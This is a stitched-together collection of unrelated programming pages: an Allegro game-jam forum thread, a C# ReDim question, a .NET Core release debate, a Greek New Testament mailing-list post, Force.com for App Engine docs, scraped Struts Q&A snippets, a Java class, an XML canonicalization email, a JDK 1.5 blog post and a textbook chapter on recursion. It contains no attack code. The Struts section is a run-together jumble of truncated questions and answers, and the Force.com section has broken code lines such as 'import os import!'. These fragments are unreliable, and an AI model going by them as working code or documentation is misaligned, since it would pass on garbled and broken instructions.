Okay, so we can just agree to disagree. I just wanted to show you that the rule appears stupid when you replace the familiar (to you) shape of California with something obscure. But as you obviously don't think so, well, case closed, and I'll stop derailing my own thread .
Either way, rule rating is in the to-do list. It's just very slow progress.
I'm in my java class and the teacher is speaking about JSP. Maybe I can start programming a minorhack game when he is just talking about JSP and HTTP. If nobody see I working, maybe I could do).
[The attack of the space bugs - Speedhack 2005] [Rambananas - Speedhack 2006] [Make clean - Speedhack 2009] [The source god - TINS 2010]
Ugh, looks like I will have reduced time to work on the project, and potentially even none.
Not good :-\.
#include <allegro.h>
int main(int argc, char* argv[])
{
allegro_init();
install_keyboard();
set_color_depth(16);
set_gfx_mode(GFX_AUTODETECT_WINDOWED, 640, 480, 0, 0);
readkey();
}
END_OF_MAIN()
As if familial obligations weren't enough, this program doesn't respond to keyboard input on my machine.
[append]Rebuilding Allegro fixed
I finished with 7 minutes to spare.
Never did a game so quickly! 53 minutes!
55 minutes and it's working. As a bonus, I used the TimeSnapper program CGamesPlay linked to in the other thread to document my progress - so expect a video of my mighty struggles shortly .
It's called "Poisoned Water" and it's a simple mini-game like all my MinorHack entries, I think.
Darn, forgot about it!
Too busy watching anime. Some pretty good series out there.
The competition has -9 seconds left!
EDIT:
The competition has -1 minutes and -6 seconds left! Upload your entry
The upload window is 65 minutes long, to account for people making last-minute changes to allow it to compile.
Oh man, I really like my entry.
Leaky Ceiling
In a time when ceiling integrity has collapsed, one bucket stands against a torrential downpour. One badass bucket. This bucket... is you.
Controls: A/D or Left/Right.Collect the droplets of water.Don't drown.
I uploaded the Windows binaries on the site. Now, on to actually playing the games .
Ack, completely forgot about this one!
There's always next time ...
There's always next time ...
That's what you said last time .
Kibiz0r: you need to learn how to handle pointers. After applying this patch, your entry actually didn't crash:
My ranking, in order:
keriostar: Good game, simple and easy to play. Has good difficulty and advancement.
Jakub Wasilewski: Very cool game, good graphics.
Kibiz0r: After fixing it, it was a good game. It would have been nice if you had made more raindrops fall at once instead of increasing the speed. It starts to feel like someone is actually shooting water at me Also the water level rises quite slowly.
graue_: Cool game, but you have it backwards! The water makes it easier to "win". If it worked where you had to jump up the tower that scrolled down, despite the rain, it would be really cool. Maybe you will work on it more?
Victor Williams Stafusa da Silva: Good game but the bubbles move very slowly, and even more so I move slowly, so it's boring fast.
It was tough ranking the entries. All of the entries (except mine) are very high quality. I'm extremely pleased with the turn out this time
RANKING:
Jakub -- looked pretty, what can I say?Victor -- interesting, but the boat is too damn slow!keriostar -- basically my game, but without a badass bucket graue_ -- there's a cool idea in there... unfortunately, the "goal" is not very clear or intuitive and there's not really a way to win or lose (yet?)CGamesPlay -- when you said
[15:03] CGamesPlay: I am going to code a tetris game where the completed lines turn into water and splash away
I almost said "In one hour?", but I held my tongue (fingers?). For this, I apologize. IT IS DONE
Edit:
delete (&i);
roflroflroflrofl
By the way, that should be changed to *i, that line shouldn't be in there in the first place.
I guess I should use something with more robust debugging than TextPad, eh?
My ranking:
1st - Jakub: Nice idea!2nd - keriostar: Not bad. Exciting.3rd - Kibiz0r: Good idea, but it takes toooooo long to drown.4th - graue_: Can i win? Can i lose?5th - CGamesPlay: I thought it should be a game...
Ranking (from best to worst):
graue_ - I really like the concept for some reason, and having the rain rust the platforms is creative.Victor - The general feel of the game seems cool to me somehow.Jakub - Seems very nice and polished.Kibiz0r - Like you said, pretty much my game with a badass bucket.CGamesPlay - Looks very nice, but (as you said) isn't a game.
Okay, so I hacked together the video I promised. It just looks so neat to see the code unravel itself on the screen. Other than that, it's totally dull, but a promise is a promise, right?
keriostar - a solid idea and good execution. I had a tough time judging this, because Kibiz0r's game was practically the same thing, and it had better graphics (if we can talk about graphics in a 1-hour game). But keriostar's game had the superior gameplay, with the inertia and the floating all adding to create a more satisfying experience.Victor Williams Stafusa da Silva - best graphics of all the entries, simple as they may be. Fun for a while, and fortunately it usually kills you off before you get bored.Kibiz0r - nice graphics, solid idea, but not really an original one - so it could only work with perfect execution. My main beef with this entry is that it's way too easy in the beginning, and then it quickly becomes nearly impossible.graue_ - nice rain. Well, it's something.CGamesPlay - well, it does feature water .
Now, who are you, keriostar and graue_? I don't think I've seen you before .
* the video is the first thing I did with mencoder, which has a kajillion options, so if you can't watch it, well, tough luck.
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https://www.allegro.cc/forums/thread/591014/665646
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Answered by:
Redim in C#
Hello everyone, is there a way to simulate VBs redim function in C#?
ThanksThursday, February 01, 2007 3:33 PM
Question
Answers
- Check Array.ResizeThursday, February 01, 2007 3:41 PM
All replies
- Check Array.ResizeThursday, February 01, 2007 3:41 PM
Thank you sirThursday, February 01, 2007 4:22 PM
Redim is used to resize some array, so while working in .Net or specifically C# i would recomend you using Collections under System.Collecitons.Generics namespace.
like List<T> class
Dictionary<T,S> class etc
example:
List<int> list = new List<int>(); // create a colleciton to store int....
list.Add(1); // Add some number
list.Add(2); // Add another Number.
This will automatically be resized whenever you add something to it and you don't need Redim anymore here.
I hope this will help.
Best Regards,
Rizwan aka RizwanSharpThursday, February 01, 2007 6:42 PM
- public static Array Redim(Array origArray, Int32 desiredSize)
{
System.Type t = origArray.GetType().GetElementType();
Array newArray = Array.CreateInstance(t, desiredSize);
Array.Copy(origArray, 0, newArray, 0, Math.Min(origArray.Length, desiredSize));
return newArray;
}
//from Applied Microsoft.NET framework Programming - Jeffrey RichterFriday, February 02, 2007 5:38 AM
- Bear in mind that that's obsolete (only needed for .Net 1.x).
For .Net 2.x and later, use Array.Resize<T>() as stated previously.Friday, February 02, 2007 10:02 AM
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https://social.msdn.microsoft.com/Forums/en-US/6759816b-d525-4752-a3c8-9eb5f4a5b194/redim-in-c?forum=csharplanguage
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We are excited to announce the release of .NET Core 1.0, ASP.NET Core 1.0 and Entity Framework.
... from the inside..
Don't worry. Phoronix forums users aren't impressed by their attempt to compete with ecosystems like Rust, Go, Qt, and Swift, and it's for legitimate reasons....
Cant see FreeBSD support on the downloads page. It might be buried away in there somewhere, but after 10 minutes of being redirected from one page to another, and bombarded with ".NET this" and "Windows That", a tedious and useless preamble on the API docs, and no sign of anything remotely interesting .... I have completely lost all interest.
Where is the interactive playground that lets you test out .NET code ? oh ... there isn't one. Looks like something out of the 1980's. What planet is this "Microsoft" company from I wonder ?
Coffee Break is over, back to do some real work .....
Makes me appreciate the fantastic job that the other (non-Microsoft) guys are currently doing with the Go programming language, the Rust compiler ... and all the other great, robust, and truly wonderful tools available in the real world outside of the Microsoft Bubble.
...and missing a step in the installation instructions results in typically cryptic error messages:
$ sudo ln -s /opt/dotnet/dotnet /usr/local/bin
$ dotnet --help
Failed to initialize CoreCLR, HRESULT: 0x80131500
$ mkdir hwapp
$ cd hwapp
$ dotnet new
Failed to initialize CoreCLR, HRESULT: 0x80131500
...and also...
Thanks for the link .... I did briefly peruse their github account, before my eyes glazed over from boredom, but what you have uncovered here is Pure Comedic Gold ! I should have kept hunting.
Straight from their doco about how to install .NET on FreeBSD, one needs a Windows machine to first generate some sort of Linux binary with a fake (.dll) extension name, and then copy it across to the FreeBSD machine, using some unnecessarily long winded file names, which may or may not include the backslash character. f--king brilliant !!!!
If some junior dev or sysadmin handed up this piece of junk as a solution .... one would have to waste valuable resources in "coaching" them about minimum acceptable standards.
Keep in mind that the example below is literally HelloWorld
[...]
Thanks again, that doco is brilliant.
your target runtime requires at a minimum :
- 3 x .dll files
- 2 x .so files (note the subtle difference between Dynamic Link Lib vs Shared Object ... your Hello World needs both !!)
- something else called 'corerun' that could be an .ELF file, or could be anything at all ???? Who knows ???
This is Genius !!
Edited 2016-06-28 00:19 UTC
It's not necessarily for the Applers&Linuxers trying to explore Windows. But the other way. This is an orange boat in all the extension.
I know it's meant to make Linux accessible to people who don't want to leave their comfortable .NET bubble.
What I'm saying is that just getting it installed on Linuxes and BSDs is a very un-polished effort and, even once that's done, the non-Windows .NET Core experience has a lot of catching-up to do with what other language ecosystems offer... often as the minimum experience all supported platforms are guaranteed.
Thus the whole point of changing the tooling is that they can be more relevant. Because they are losing mind-share.
Most developers think that C# is a solid language but the fact it has been realistically stuck in the Windows world.
Most Senior ASP.NET devs I have met (at least in the UK) are using Macs as their workhorse machine and virtualizing Windows just to run VS (Xamarin Studio is probably worse than VS Code which isn't a real IDE). Obviously I don't have any official numbers but is a trend I have noticed.
This is a first stable release. Unfortunately Microsoft have totally screwed up the beta to release candidate transition (they changed namespaces, apis massively between the last beta and RC2). There was genuinely a lot of excitement in the web dev community to be able to use .NET cross platform easily.
Edited 2016-06-30 13:46 UTC
Yes, I'm sure the people who use or depend on windows for web development are very excited about new developments in the .net arena. Almost everybody else couldn't care less.
It's Microsoft's Faustian deal when it comes to development/frameworks; they thrived by the sword (Windows/VisualStudio/Prop APIs), but remove that from the equation and their value proposition falls flat.
Same happened with the SQL Server port to linux. Nobody really gives a shit about it outside the MS echo chamber; The alternatives are already well established and they're either better performant or have nil-licensing costs.
I'm not implying this tunnel vision is exclusive to MS btw..
Really? If the software is open source which is, then third party developers will develop libraries for it, open source or otherwise, and I see no problem with it.
Let them sell their libraries as long as the core is free, there will be free libraries either that will compete with proprietary libraries.
And that is the difference.
I think Java would be a better comparison.
1. It's backed by a big company that marketed the hell out of it
2. It's never fitted very well into the POSIX ecosystem
3. It'll probably only gain mindshare among people who are interested in Linux only to check off some box. (ie. most managers, most game developers, etc.)
Java was developed by Sun from thee beginning, then bought by Oracle.
.NET in this case is made by Microsoft and ported by Microsoft.
For me that is a big difference.
I'm comparing .NET now against Java in the period before Oracle bought Sun. I see little difference.
Yes, if mono stopped being available for all those other platforms the internet would be outraged, and the news will contain reports that 10's of people were affected...
:-)
I personally think this release is pretty exciting, i find that for quite a while Microsoft have had the best environment and libraries for web application development, with the only annoyance being that you needed Windows Server to host it. Now that annoyance is gone.
Writing web apps that aren't cross-platform because of the language used is almost uniquely a flaw in Windows-centric technologies and, when it does happen, it tends to be Windows suffering from being the odd one out, API-wise.
The big names in web application development, like Go, Java (eg. via the Spring framework), Python (eg. via Django), Ruby (via Rails), etc. work beautifully on Linux or BSD (where they're most commonly deployed) and MacOS (where they're often developed) and Windows support has matured very nicely since 2007/2008 when most of the complaints tend to date from.
They also have a much more polished experience than .NET Core on non-Windows platforms.
Plus, if you're using Django and your app has a CPU bottleneck somewhere, Cython lets you easily move the hot code into a compiled extension using a modified Python dialect with static type annotations that gets compiled to C.
Heck, Rust's a rising star and will beat any JITed language at giving a predictable memory footprint, which can be a huge deal when it comes to cost-effectively scaling.
If I needed to develop a portable web app and had the time to learn a new language, I'd learn either Go (golang) if I needed it right now or Rust (rustlang) if I had time to invest in my future.
Both compile to static binaries for easy deployment and both will match or exceed C# for performance and memory footprint to minimize growing pains when a project becomes successful.
I know it's a little long, but here are a few reasons I'm trying to make time to learn Rust:
1. Community and design philosophy
1a. Great community and the ecosystem is developing beautifully
1b. Like Python, Rust has a strong "take innovations from the academic/functional programming world and make them comfortable for everyday programmers" aspect.
1c. Compiler errors designed to be exceptionally helpful, right down to having designed the language with clear errors in mind.
(eg. Part of the reason function/method definitions are exempt from type inference is that making them the unit of explicit ABI definition massively improves the compiler's ability to give concise errors and helpful suggestions... but, at the same time, closures DO do type inference because it makes it easy and comfortable to write jQuery-style callback APIs which get inlined away for no overhead.)
2. Less work for me, even if it's somewhat front-loaded
2a. Language-level RAII+ownership for memory management competitive with C and C++ but with memory safety comparable to a JITed language.
2b. A clear distinction between safe/unsafe code so safe abstractions can be built in Rust. (FFI calls are inherently "unsafe" and it's your job to ensure that invariants are restored before the end of the unsafe block.)
2b. Smart design elements baked into the language and standard library, like "immutable by default (mut, not const)", "affine types, not NULL/exceptions", "lock data, not code", "compiler-checked exhaustive pattern matching", etc. make writing correct, robust code as easy and comfortable as possible.
(It's a lot simpler than it sounds. For example, a function which would raise an exception in C# instead returns a Result(T,E) which is a tagged union containing either the return value or an exception. This makes it easy to ensure you've specified a handling strategy for every error case, even if it's just a matter of calling Result.expect("Cannot recover from error X. Exiting.") as Rust's equivalent to things like Perl's "or die".
2c. Rust's combination of type inference and the borrow checker makes the type system powerful enough to enforce correct use of state machines like the HTTP and IMAP protocols at compile time. (... )
(Basically, any method which moves to a new state takes ownership of the object and returns a new one which contains only the methods which are valid for that state. The borrow checker enforces that no references to the old state object remain and type inference makes the type-changing aspect of the state transitions invisible unless you make a mistake.)
2d. Like Go, statically compiled by default for easy deployment (Rust even has a musl-libc compiler target to go one step further and produce truly static binaries and the rustup version manager is currently in the process of learning how to make cross-compilation as simple as one or two commands.)
2e. Cargo, the build system and library package manager hybrid which Just Works™ beautifully.
I've been writing cross platform C# stuff for years (via mono).
Now it is officially supported by Microsoft and the tooling is now geared for *nix systems.I dunno if I can port a lot of my extremely old VB.NET code.
I don't care about Go, Rust. I do work a lot with Python these days but I am usually using flask.
There is almost no market in the UK for the languages that you mention (maybe in London but I don't want to have to work there).
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From: Edgar Foster (questioning1@yahoo.com)
Date: Tue Jun 23 1998 - 19:27:53 EDT
---WmHBoyd@aol.com wrote:
>?"
Dear Mr. Boyd,
According to Ralph Earle, "the first and basic meaning" of ANWQEN is
"from above." Conversely, Earle cites Josephus who uses the word in a
first century context to denote "again" or "anew." ANWQEN, like many
other terms therefore has an ambiguous semantic nature. Normally, the
context of a word tends to elucidate (or determine) its meaning in a
said application (context is determinative). ANWQEN, however, seems
somewhat obscure in John 3:3.
BAGD (77) notes that ANWQEN in John 3:3 is "purposely ambiguous and
means BOTH born from above and born again."
I note, however, that both J.H. Bernard and B.F. Westcott say that
ANWQEN does NOT mean "mere repetition." Bernard says that GENNHQH
ANWQEN means that one is 'born into a higher life'. Westcott says that
John 3:3 is describing "an analogous process (anew)."
Of course, the question comes up about Nicodemus' reply. There are
multiple answers to this question. Some feel that since Jesus did not
correct Nicodemus, he must have rightly understood Jesus. Others point
out that both the OT tradition and certain Judaistic sects already
used "rebirth" terminology that Nicodemus would have been familiar
with. There is also the possibility that Nicodemus misunderstood the
import of Jesus' question. This is not totally implausible in view of
the context of john 3:3. In the end, I opt with the view that ANWQEN
in John 3:3 either means "again" or "again" and "above."
Much of the information here can be found in Earle's Word Meanings of
the NT. I would also note the discussions on this matter by Raymond
Brown, Gerald Borchert, and GRB Murray.
Sincerely,
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This document is intended for Developers who want to write Google App Engine Apps that can interact with the Force.com Platform using the Force.com for Google App Engine library..
Follow the following steps to get started:
For instructions on renaming your App, please see Force.com for Google App Engine Setup Guide.
The following examples demonstrate the API methods and provide a few examples of the required Python code.
First you must import the required libraries.
import os import!
Next, create a definition in your code to create a Python client that will be used to communicate with the Force.com Soap API.
self.sforce = beatbox.PythonClient()
Your App Engine Application must login to Force.com in order to to initialize the communication cloud-to-cloud. There are two ways that you can login to a Force.com organization:))
When linking directly from a web Tab on Salesforce.com you can pass the server url and session id directly, and therefore avoid prompting the user for a login user name and password.
This technique uses the following steps instead of the login() method..
The following Soap API calls are currently supported in the Force.com for Google App Engine Library.
You can use the Create() method to add one or more individual records to a Force.com organization. The create() call is analogous to the INSERT statement in SQL.
sobjects = [] new_acc = { 'type': 'Account', 'name' : 'new GAE account' } sobjects.append(new_acc) results = client.create(sobjects) self.response.out.write( results )
You can use the Update() method to update one or more existing records in a Force.com organization’s data. The update() call is analogous to the UPDATE statement in SQL. )
You can use the Delete() method to delete one or more existing records in your Force.com organization’s data. The delete() call is analogous to the DELETE statement in SQL.).
soql = 'select name from Account limit 12' self.response.out.write('<b>'+soql+'</b>') query_result = client.query( soql ) for account in query_result['records'] : self.response.out.write('<li>' + account['Name'] )
In this simple example, we are looking at any Accounts that have changed today.
now = datetime.now() then = datetime(now.year, now.month, now.day-1 ) results = client.getUpdated('Account', then, now ) self.response.out.write( results ).
describe = client.describeGlobal() self.response.out.write( describe ).
dict = client.describeSObjects('Account')[0] self.response.out.write( '<dl>') for key in dict.keys(): self.response.out.write( '<dt>'+ key + '</dt><dd>' + str(dict[key]) + '</dd>' )!
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Need in struts I want two struts.xml files. Where u can specify that xml files location and which tag u specified
Struts Tag Lib - Struts
Struts Tag Lib Hi
i am a beginner to struts. i dont have... use the custom tag in a JSP page.
You can use more than one taglib directive..., sun, and sunw etc.
For more information on Struts visit to :
http
Struts Books
building large-scale web applications.
The Struts Framework: Practical... for more experienced readers eager to exploit Struts to the fullest.
...-Controller (MVC) design
paradigm. Want to learn Struts and want html tag - Struts
struts html tag Hi, the company I work for use an "id" tag on their tag like this: How can I do this with struts? I tried and they don't work
str tag - Struts
Struts tag I am new to struts,
I have created a demo struts application in netbean,
Can any body please tell me what are the steps to add new tags to any jsp page
C:Redirect Tag - Struts
C:Redirect Tag I am trying to use the jstl c:redirect tag in conjuction with a struts 2 action. I am trying to do something like
What I am... to the true start page of the web application. In performing the redirect, I want
Struts Articles
the protection framework with the Struts tag library so that the framework implementation....
The first thing we want to do is set up the Struts... to any presentation implementation.
Developing JSR168 Struts Am newly developed struts applipcation,I want to know how to logout the page using the strus
Please visit the following link:
Struts Login Logout Application - Framework
,
Struts :
Struts Frame work is the implementation of Model-View-Controller...Struts Good day to you Sir/madam,
How can i start struts application ?
Before that what kind of things necessary have one textbox for date field.when i selected date from datecalendar then the corresponding date will appear in textbox.i want code for this in struts.plz help me
How to Use Struts 2 token tag - Struts
How to Use Struts 2 token tag Hi ,
I want to stop re-submiiting the page by pressing F5, or click 'back n press submit' button again, i want to use 'token' tag for it, but not able to find out how does it works, I' ve put tag
struts - Struts
struts shud i write all the beans in the tag of struts-config
best Struts material - Struts
best Struts material hi ,
I just want to learn basic Struts.Please send me the best link to learn struts concepts
Hi Manju,
Read for more and more information with example at:
http have already define path in web.xml
i m sending --
ActionServlet... for more information.
Thanks
action tag - Struts
action tag Is possible to add parameters to a struts 2 action tag? And how can I get them in an Action Class. I mean: xx.jsp Thank you
java struts error - Struts
the problem what you want in details.
For more information,Tutorials and examples...java struts error
my jsp page is
post the problem... is
I
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Struts Hello
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Struts1/Struts2
For more information on struts visit to :
struts <html:select> - Struts
struts i am new to struts.when i execute the following code i am... in the Struts HTML FORM tag as follows:
Thanks... DealerForm[30];
int i=0;
while(rs.next())
{
DealerForm dform.. - Struts
Hi.. Hi,
I am new in struts please help me what data write.../struts/
Thanks. struts-tiles.tld: This tag library provides tiles... of output text, and application flow management.
struts-nested.tld: This tag library
IMP - Struts
IMP Hi...
I want to have the objective type questions(multiple choices) with answers for struts.
kindly send me the details
its urgent for me
Thanku
Ray Hi friend,
Visit for more information
Struts validation
Struts validation I want to put validation rules on my project.But after following all the rules I can't find the result.
I have extended... that violate the rules for struts automatic validation.So how I get the solution
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included third sumbit button on second form tag and i given corresponding action...struts hi..
i have a problem regarding the webpage
in the webpage i have 3 submit buttons are there.. in those two are similar and another one +
java - Struts
java i want to know how to use struts in myEclipse using an example
i want to know about the database connection using my eclipse ?
pls send me the reply
Hi friend,
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Struts Tutorials
tag libraries. This tutorial provides a hands-on approach to developing Struts... libraries introduced in Struts made JSP pages more readable and maintainable... application development using Struts. I will address issues with designing Action logic:iterate tag
struts logic:iterate tag Hi All,
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[#|2010-10-27T00...
Hi,
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Thanks
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java Hi,
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thanks,. Hi friend,
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Beginners Stuts tutorial.
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.xmbean;23 24 import java.io.Serializable ;25 26 /** An object with an x.y string representation27 * @author Scott.Stark@jboss.org28 * @version $Revision: 37406 $29 */30 public class CustomType implements Serializable 31 {32 int x;33 int y;34 35 public CustomType(int x, int y)36 {37 this.x = x;38 this.y = y;39 }40 41 public int getX()42 {43 return x;44 }45 public int getY()46 {47 return y;48 }49 public String toString()50 {51 return "{"+x+"."+y+"}";52 }53 }54
Java API By Example, From Geeks To Geeks. | Our Blog | Conditions of Use | About Us_ |
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> Well, this is great. However, example 3.3 [1] from the same specification > shows a different sorting (look at element <e5/>). And after fixing this > in libxml2 > I have a lot of interop tests failures in both C14N and XMLDSig. And now looking at the end of 2.2, it says the default namespace has no local name and is therefore lexicographically least. So perhaps in 2.3 "local name" means NCName, meaning that phrase is redundant? Or does it mean turn NCName "xmlns" into QName "xmlns:xmlns" ? That doesn't seem likely. Who wants to bring this up on the xml-dsig list? At a minimum, we're gonna need some erratum issued. The Python code (which I now think is wrong, not libxml/xmlsec) is: def _sorter_ns(n1,n2): '''_sorter_ns((n,v),(n,v)) -> int "(an empty namespace URI is lexicographically least)."''' if n1[0] == 'xmlns': return -1 if n2[0] == 'xmlns': return 1 return cmp(n1[0], n2[0]) Should that cmp be using [1] instead of [0]? Argh. All together now: c14n bites! :) /r$ -- Rich Salz Chief Security Architect DataPower Technology XS40 XML Security Gateway XML Security Overview
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for(String str : myCollection) {
System.out.println(str);
}
for(Iterator iter = c.iterator(); iter.hasNext(); ) {
System.out.println((String)(iter.next()));
}
In addition, the document describes some changes to Java Iterators to support this.
This in and of itself is neat. Some URL hacking on that link leads to a list of files documenting some other interesting features, including:
public enum Suit { clubs, diamonds, hearts, spades }
import java.util.Math.*
Math.abs(x)
abs(x)
It's strange that Java's "Community" Process doesn't expose this sort of detail more publicly. I'm unable to find a link to these documents on either of jcp.org or java.sun.com.
Googling on "JDK 1.5" yields some hits, including an entry from Henri's blog and several others, a brief article from java.sun.com, even an article on slashdot, all dated at least a month ago, so maybe this is old news to many of you.
(JSR 14 adding C++ template style generics to Java is another major change planned for JDK 1.5 it seems, but that one's been pretty widely known. I wonder if generics together with autoboxing will allow me to replace the org.apache.commons.collections.primitives package?)
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2.3 Recursion
THE IDEA OF CALLING ONE FUNCTION from another immediately suggests the possibility of a function calling itself. The function-call mechanism in Java and most modern programming languages supports this possibility, which is known as recursion. In this section, we will study examples of elegant and efficient recursive solutions to a variety of problems. Recursion is a powerful programming technique that we use often in this book. Recursive programs are often more compact and easier to understand than their nonrecursive counterparts. Few programmers become sufficiently comfortable with recursion to use it in everyday code, but solving a problem with an elegantly crafted recursive program is a satisfying experience that is certainly accessible to every programmer (even you!).
Recursion is much more than a programming technique. In many settings, it is a useful way to describe the natural world. For example, the recursive tree (to the left) resembles a real tree, and has a natural recursive description. Many, many phenomena are well explained by recursive models. In particular, recursion plays a central role in computer science. It provides a simple computational model that embraces everything that can be computed with any computer; it helps us to organize and to analyze programs; and it is the key to numerous critically important computational applications, ranging from combinatorial search to tree data structures that support information processing to the fast Fourier transform for signal processing.
One important reason to embrace recursion is that it provides a straightforward way to build simple mathematical models that we can use to prove important facts about our programs. The proof technique that we use to do so is known as mathematical induction. Generally, we avoid going into the details of mathematical proofs in this book, but you will see in this section that it is worthwhile to understand that point of view and make the effort to convince yourself that recursive programs have the intended effect.
Your first recursive program
The “Hello, World” for recursion is the factorial function, defined for positive integers n by the equation
n ! = n × (n–1) × (n–2) × ... × 2 × 1
In other words, n! is the product of the positive integers less than or equal to n. Now, n! is easy to compute with a for loop, but an even easier method is to use the following recursive function:
public static long factorial(int n)
{
if (n == 1) return 1;
return n * factorial(n-1);
}
This function calls itself. The implementation clearly produces the desired effect. You can persuade yourself that it does so
To compute factorial(5), the recursive function multiplies 5 by factorial(4); to compute factorial(4), it multiplies 4 by factorial(3); and so forth. This process is repeated until calling factorial(1), which directly returns the value 1. We can trace this computation in precisely the same way that we trace any sequence of function calls. Since we treat all of the calls as being independent copies of the code, the fact that they are recursive is immaterial.
Function-call trace for factorial(5)
factorial(5)
factorial(4)
factorial(3)
factorial(2)
factorial(1)
return 1
return 2*1 = 2
return 3*2 = 6
return 4*6 = 24
return 5*24 = 120
Our factorial() implementation exhibits the two main components that are required for every recursive function. First, the base case returns a value without making any subsequent recursive calls. It does this for one or more special input values for which the function can be evaluated without recursion. For factorial(), the base case is n = 1. Second, the reduction step is the central part of a recursive function. It relates the function at one (or more) arguments to the function evaluated at one (or more) other arguments. For factorial(), the reduction step is n * factorial(n-1). All recursive functions must have these two components. Furthermore, the sequence of argument values must converge to the base case. For factorial(), the value of n decreases by 1 for each call, so the sequence of argument values converges to the base case n = 1.
Values of n! in long
1 1
2 2
3 6
4 24
5 120
6 720
7 5040
8 40320
9
Tiny programs such as factorial() perhaps become slightly clearer if we put the reduction step in an else clause. However, adopting this convention for every recursive program would unnecessarily complicate larger programs because it would involve putting most of the code (for the reduction step) within curly braces after the else. Instead, we adopt the convention of always putting the base case as the first statement, ending with a return, and then devoting the rest of the code to the reduction step.
The factorial() implementation itself is not particularly useful in practice because n! grows so quickly that the multiplication will overflow a long and produce incorrect answers for n > 20. But the same technique is effective for computing all sorts of functions. For example, the recursive function
public static double harmonic(int n)
{
if (n == 1) return 1.0;
return harmonic(n-1) + 1.0/n;
}
computes the nth harmonic numbers (see PROGRAM 1.3.5) when n is small, based on the following equations:
Hn = 1 + 1/2 + ... + 1/n
= (1 + 1/2 + ... + 1/(n–1)) + 1/n
= Hn–1 + 1/n
Indeed, this same approach is effective for computing, with only a few lines of code, the value of any finite sum (or product) for which you have a compact formula. Recursive functions like these are just loops in disguise, but recursion can help us better understand the underlying computation.
Mathematical induction
Recursive programming is directly related to mathematical induction, a technique that is widely used for proving facts about the natural numbers.
Proving that a statement involving an integer n is true for infinitely many values of n by mathematical induction involves the following two steps:
The base case: prove the statement true for some specific value or values of n (usually 0 or 1).
The induction step (the central part of the proof): assume the statement to be true for all positive integers less than n, then use that fact to prove it true for n.
Such a proof suffices to show that the statement is true for infinitely many values of n: we can start at the base case, and use our proof to establish that the statement is true for each larger value of n, one by one.
Everyone’s first induction proof is to demonstrate that the sum of the positive integers less than or equal to n is given by the formula n (n + 1) / 2. That is, we wish to prove that the following equation is valid for all n ≥ 1:
1 + 2 + 3 ... + (n–1) + n = n (n + 1) / 2
The equation is certainly true for n = 1 (base case) because 1 = 1(1 + 1) / 2. If we assume it to be true for all positive integers less than n, then, in particular, it is true for n–1, so
1 + 2 + 3 ... + (n–1) = (n–1) n / 2
and we can add n to both sides of this equation and simplify to get the desired equation (induction step).
Every time we write a recursive program, we need mathematical induction to be convinced that the program has the desired effect. The correspondence between induction and recursion is self-evident. The difference in nomenclature indicates a difference in outlook: in a recursive program, our outlook is to get a computation done by reducing to a smaller problem, so we use the term reduction step; in an induction proof, our outlook is to establish the truth of the statement for larger problems, so we use the term induction step.
When we write recursive programs we usually do not write down a full formal proof that they produce the desired result, but we are always dependent upon the existence of such a proof. We often appeal to an informal induction proof to convince ourselves that a recursive program operates as expected. For example, we just discussed an informal proof to become convinced that factorial() computes the product of the positive integers less than or equal to n.
Program 2.3.1 Euclid’s algorithm
public class Euclid
{
public static int gcd(int p, int q)
{
if (q == 0) return p;
return gcd(q, p % q);
}
public static void main(String[] args)
{
int p = Integer.parseInt(args[0]);
int q = Integer.parseInt(args[1]);
int divisor = gcd(p, q);
StdOut.println(divisor);
}
}
p, q | arguments
divisor | greatest common divisor
% java Euclid 1440 408
24
% java Euclid 314159 271828
1
This program prints the greatest common divisor of its two command-line arguments, using a recursive implementation of Euclid’s algorithm.. You may recall learning about the greatest common divisor when you learned to reduce fractions. For example, we can simplify 68/102 to 2/3 by dividing both numerator and denominator by 34, their gcd. Finding the gcd of huge numbers is an important problem that arises in many commercial applications, including the famous RSA cryptosystem.
We can efficiently compute the gcd using the following property, which holds for positive integers p and q:
If p > q, the gcd of p and q is the same as the gcd of q and p % q.
To convince yourself of this fact, first note that the gcd of p and q is the same as the gcd of q and p–q, because a number divides both p and q if and only if it divides both q and p–q. By the same argument, q and p–2q, q and p–3q, and so forth have the same gcd, and one way to compute p % q is to subtract q from p until getting a number less than q.
The static method gcd() in Euclid (PROGRAM 2.3.1) is a compact recursive function whose reduction step is based on this property. The base case is when q is 0, with gcd(p, 0) = p. To see that the reduction step converges to the base case, observe that the second argument value strictly decreases in each recursive call since p % q < q. If p < q, the first recursive call effectively switches the order of the two arguments. In fact, the second argument value decreases by at least a factor of 2 for every second recursive call, so the sequence of argument values quickly converges to the base case (see EXERCISE 2.3.11). This recursive solution to the problem of computing the greatest common divisor is known as Euclid’s algorithm and is one of the oldest known algorithms—it is more than 2,000 years old.
gcd(1440, 408)
gcd(408, 216)
gcd(216, 192)
gcd(192, 24)
gcd(24, 0)
return 24
return 24
return 24
return 24
return 24
Function-call trace for gcd()
Towers of Hanoi
No discussion of recursion would be complete without the ancient towers of Hanoi problem. In this problem, we have three poles and n discs that fit onto the poles. The discs differ in size and are initially stacked on one of the poles, in order from largest (disc n) at the bottom to smallest (disc 1) at the top. The task is to move all n discs to another pole, while obeying the following rules:
Move only one disc at a time.
Never place a larger disc on a smaller one.
One legend says that the world will end when a certain group of monks accomplishes this task in a temple with 64 golden discs on three diamond needles. But how can the monks accomplish the task at all, playing by the rules?. When the discs are all on one pole, there are two possible moves (move the smallest disc left or right); otherwise, there are three possible moves (move the smallest disc left or right, or make the one legal move involving the other two poles). Choosing among these possibilities on each move to achieve the goal is a challenge that requires a plan. Recursion provides just the plan that we need, based on the following idea: first we move the top n–1 discs to an empty pole, then we move the largest disc to the other empty pole (where it does not interfere with the smaller ones), and then we complete the job by moving the n–1 discs onto the largest disc.
TowersOfHanoi (PROGRAM 2.3.2) is a direct implementation of this recursive strategy. It takes a command-line argument n and prints the solution to the towers of Hanoi problem on n discs. The recursive function moves() prints the sequence of moves to move the stack of discs to the left (if the argument left is true) or to the right (if left is false). It does so exactly according to the plan just described.
Function-call trees
To better understand the behavior of modular programs that have multiple recursive calls (such as TowersOfHanoi), we use a visual representation known as a function-call tree. Specifically, we represent each method call as a tree node, depicted as a circle labeled with the values of the arguments for that call. Below each tree node, we draw the tree nodes corresponding to each call in that use of the method (in order from left to right) and lines connecting to them. This diagram contains all the information we need to understand the behavior of the program. It contains a tree node for each function call.
